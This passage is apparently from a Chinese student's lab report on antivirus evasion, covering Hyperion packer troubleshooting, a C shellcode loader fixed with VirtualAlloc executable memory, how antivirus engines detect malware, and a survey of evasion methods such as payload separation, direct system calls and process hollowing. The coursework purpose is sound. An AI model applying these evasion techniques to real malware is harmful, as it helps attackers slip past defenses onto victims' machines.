  • 原因分析：Kali系统中/usr/share/windows-resources/hyperion/目录归属于root特权用户，普通用户kali对该系统内置目录缺乏写权限；而Hyperion在通过Wine虚拟执行时，默认会将中间临时构建文件（如Fasm.exe生成的临时PE头）写入程序所在的当前工作目录或上层目录，导致出现权限拒绝（Permission Denied）。
  • 解决方案：

    1. 将Hyperion工具目录整套完整递归复制至当前用户的专属实验目录：

      cp -r /usr/share/windows-resources/hyperion ~/20242402_exp3/hyperion_local
cd ~/20242402_exp3/hyperion_local

    2. 为本地目录下的二进制程序赋予充分的可执行与写入权限（chmod +x *.exe）；

    3. 在本地目录中执行Wine加壳指令，成功规避了系统受保护目录的写入冲突，顺利生成加密加壳文件。

问题3：Windows平台执行自定义C加载器触发DEP数据执行保护异常

  • 现象描述：在早期编写C语言加载器时，若仅使用标准C库函数malloc在堆上开辟内存并执行指针跳转（((void(*)())buf)()），在Windows 11物理机上双击运行时程序立即闪退，Windows系统事件日志记录错误代码0xc0000005（访问违例/Access Violation）。

  • 原因分析：现代Windows操作系统全面默认开启了数据执行保护机制（Data Execution Prevention, DEP）。DEP依赖CPU硬件的NX（No-Execute）位支持，将标准堆栈内存区域默认标记为不可执行（PAGE_READWRITE）。当程序指令寄存器EIP尝试跳转至未设置执行权限的内存页执行机器码时，CPU硬件直接抛出特权级硬件异常，操作系统内核随即强制终止该进程。

  • 解决方案：
    在C加载器中摒弃标准C库的malloc堆申请，改用Windows底层专用虚拟内存管理API VirtualAlloc：

    void *exec = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    显式将申请内存页的保护属性指定为PAGE_EXECUTE_READWRITE（可读、可写、可执行），满足硬件级DEP的合规校验要求，确保了Shellcode的顺畅执行。

5.回答问题

（1）杀软是如何检测出恶意代码的？

现代杀毒软件主要依托以下三大技术来实现对恶意代码的综合检测：

  1. 基于特征码的精确匹配：
    • 文件哈希比对：计算可疑文件的MD5/SHA256哈希值，与云端已知恶意文件黑名单库进行秒级精确比对；
    • 特征字节序列扫描：从已知恶意样本的代码节、入口点周边或关键函数中提取唯一的固定机器指令片段或字符串模式，在本地病毒库中检索目标文件是否存在连续或掩码匹配的字节序列；
    • YARA规则逻辑匹配：基于多维度的字符串模式、十六进制字节流通配符与布尔逻辑规则，评估文件特定节区是否满足特征组合。
  2. 基于启发式与统计学的推断分析：
    • 静态代码与结构启发：深入剖析PE文件头部元数据、节区属性、导入地址表（IAT）。重点检查异常指标：如代码节具备可写属性、导入敏感危险API组合、节区信息熵异常畸高等，利用统计概率打分机制推断其是否具备sandbox中预执行样本数毫秒，观察其是否存在内存动态自解密、反调试对抗及指令跳转行为。
  3. 基于内核行为监测的主动防御：
    • API Hooking与微过滤驱动拦截：在应用层注入钩子模块，或在操作系统内核层利用文件系统微过滤驱动与进程回调函数，实时监视进出敏感系统调用的参数与上下文；
    • 恶意行为链判定：对内存远程线程注入、异常父子进程派生、系统自启动注册表篡改、系统目录隐蔽文件释放以及静默网络反弹外联等核心危险动作进行实时阻断与查杀。

（2）免杀是做什么？

免杀是指在严格保留原有预定攻击与控制功能完整性的前提下，利用反编译、代码重构、加密混淆、加壳保护、组件解耦、内存反射注入等系统底层技术手段，消除、破坏、伪装或隐匿被安全软件判定为恶意的静态指纹特征与动态行为特征，使恶意程序能够成功逃避杀毒软件的静态扫描、启发式分析与动态行为拦截，在目标受害主机上顺利落地、常驻并持久执行的技术统称。
免杀的本质不是简单地修改几个文件字节，而是深入理解杀软的防护机理与判定逻辑，在攻防博弈中寻找安全防护机制的设计盲区与技术局限性。

（3）免杀的基本方法有哪些？

从攻防对抗的技术演进与实施维度划分，免杀的基本方法主要涵盖以下五大类：

  1. 改变静态特征与指纹混淆：
    • 源码级重构：自主编写加载器，调整函数定义与调用顺序，插入等价垃圾汇编指令，使用不同编译器以及不同优化级别打破原有的特征字节排列；
    • 特征变量与函数混淆：对敏感API函数名、硬编码IP地址与端口采用字符拆分、动态异或拼接或哈希寻址隐藏导入表。
  2. 多态编码与对称混淆：
    • 使用多态编码器消除空字节与坏字符，或自主实现XOR、加减移位、RC4、AES等加密算法，将原始机器码转换为无法被静态签名的密文字节流。
  3. 加壳与保护技术：
    • 应用压缩壳或加密壳重构PE文件结构，隐藏原始代码节区与真实程序入口点，增加逆向分析难度。
  4. 组件分离与载荷非可执行化（现代主流方案）：
    • 将一体化后门解耦为“无害白加载器”与“纯数据载荷”：将恶意Shellcode伪装成文本文件、图片像素通道或远程服务器数据流；
    • 加载器本身不含任何恶意特征，仅包含常规文件读取与内存分配逻辑，使得静态扫描彻底脱敏。
  5. 无文件驻留与内存执行规避：
    • 动态内存加载：利用VirtualAlloc申请私有内存，在内存中动态解密Shellcode并以函数指针调用，实现全程不落地的“内存无文件执行”；
    • 直接系统调用：绕过被杀软Hook的应用层ntdll.dll导出函数，直接在汇编层发起内核系统调用，规避API监测链条；
    • 内存傀儡化与白加黑利用：利用Windows合法的可信签名进程进行DLL劫持或进程镂空，在受信任进程的内存上下文中隐蔽执行恶意逻辑。

6.学习感悟、思考等

6.1实验心得体会

通过本次“免杀原理与实践”实验，我跳出了以往单纯依赖自动化渗透工具生成木马的思维定式，深入到了操作系统二进制结构、内存保护机制以及反病毒软件底层判定逻辑的微观博弈层面，收获了极具价值的实践认知：

  1. 打破工具迷信，认清技术本质：在任务一中，反复尝试msfvenom的shikata_ga_nai编码器，扫描结果却显示检出率毫无实质性下降，甚至在编码1次时AVG直接报毒出Win32:ShikataGaNai-E。这直观地证明了开源渗透工具的“特征暴露效应”：当一个编码器被广泛公开并大规模使用后，它所生成的自解码存根早已被防守方研究透彻并形成了静态指纹。依赖现成自动化工具的参数调整无法带来真正的安全性。
  2. 加壳与加密不一定带来加成：任务五中Hyperion加密壳带来的“反向暴增”（由5/48增至20/48）让我明白了这个道理。我原来主观的认为“加密强度越高越安全”，然而在杀软启发式分析与机器学习引擎面前，高强度AES加密带来的超高信息熵反而成为了最为显眼的“靶子”。这深刻启示我：免杀的核心在于“隐匿与伪装”，而非“蛮力对抗”；符合良性软件正常特征的低熵结构，往往远比张扬的高强度加密壳更为隐蔽。
  3. 深刻体会组件分离思想的优雅与力量：任务六与任务七中，通过将Shellcode从PE文件中彻底剥离为外部文本，配合自主编写的微型C加载器，成功在主机上实现了无声无息的共生驻留与反弹回连。这一方案没有采用任何高深复杂的加密算法，仅仅依靠轻量位移与组件解耦，却瓦解了庞大的静态特征库。这展现了架构设计在攻防博弈中的决定性作用。

参考资料

  1. 王文杰.《网络攻防技术与实践》.清华大学出版社，2021年
  2. 0x23_MAL_免杀原理与实践.md - Gitee wildlinux/NetSec
  3. Rapid7 Metasploit Framework Documentation: How to use msfvenom
  4. Microsoft Learn: VirtualAlloc function (memoryapi.h) and Memory Protection Constants
  5. Veil-Framework/Veil: Tool Designed to Generate Metasploit Payloads that Bypass Common Anti-Virus Solutions
posted @ 2026-10-22 20:35  weare219  阅读(9)  评论(0)    收藏  举报